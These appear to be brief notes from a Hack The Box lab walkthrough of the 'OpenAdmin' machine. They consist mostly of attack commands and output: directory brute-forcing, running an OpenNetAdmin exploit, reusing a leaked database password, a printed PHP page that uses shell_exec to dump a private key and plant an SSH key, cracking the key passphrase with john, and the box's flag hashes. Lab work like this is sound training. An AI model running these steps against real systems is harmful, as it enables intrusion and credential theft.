# Lin: Open Admin

gobuster dir -u http://10.10.10.171/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20| tee gobuster

find /ona/

searchsploit webmin
47772.rb

./exp.sh http://10.10.10.171/ona/

```
$ cat local/config/database_settings.inc.php
<?php

$ona_contexts=array (
  'DEFAULT' =>
  array (
    'databases' =>
    array (
      0 =>
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);
```

ssh jimmy@10.10.10.171
n1nj4W4rri0R!

```
jimmy@openadmin:/var/www/internal$ cat main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /
index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
shell_exec('echo "ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQCZixxdJ9N967r3mgYg0r2ws2vR/
t6Bm7MwyHOctpqcfldAWrMAfjpVwXwVG/
kS5KnfEUW5ybBykt8JjcKa0bwkixoxsbQ5XoSr+Ru4Gh1qbw6QzK4ZYQzq8T8xMkHl7b+VtzpV
m0/g5+/xBGJveTyR8jUuxVeC1u/AfZ71To7OM8Yg8FMCPERanmh2cNnodPBgZUCAe6X/
K5jjjhw3U9WNW4yzhpIPxYnULoKvrGiZ5PuggMzNSETNOwBFuoLQjgS2vadWZLZWVPeJFRoo
UDPBZ6MLz0EHG/NZnaOCeOHU7pl3XRTh9zo76zvQNO9ag+
```

```
+WwMVXZYH4pdudopIhQWTWAejB99O/WfHXEtCk+xS9pposoVWh/omxnpsAQ+gBRqG/
n7oP5IBQ6/il4NKNVEvxx9HLI/
QEmYJDz0Fts0BHg260eli5CDrmdHH5FdZe8pacgSex+csgbvFKU50d/lN1tPAm3NNK9xqHE+
+d0461z+wZ519+/xovNpy2tVXDH+8= fydey@archy" >> /home/joanna/.ssh/
authorized_keys');
echo "<pre>DONE</pre>";
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>


jimmy@openadmin:/etc/apache2/sites-available$ cat internal.conf
Listen 127.0.0.1:52846

<VirtualHost 127.0.0.1:52846>
    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>



curl http://127.0.0.1:52846/main.php
<pre>DONE</pre><pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnlKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4IsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8livdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqlitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWIT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
```

yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1l1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

ssh.rsa
crack with jogn
chmod 600 ssh.rsa

ssh -i ssh.rsa joanna@10.10.10.171


cp $(locate ssh2john.py) .
python ssh2john.py id_rsa > id_rsa.hash
john id_rsa.hash -wordlist=rockyou.txt

john id_rsa.hash -wordlist=rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 3 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (ssh.rsa)
1g 0:00:00:03 DONE (2020-03-11 08:42) 0.3184g/s 4567Kp/s 4567Kc/s 4567KC/s
1990..*7¡Vamos!
Session completed

c9b2cf07d40807e62af62660f0c81b5f



sudo -l

gtfobins

2f907ed450b361b2c2bf4e8795d5b561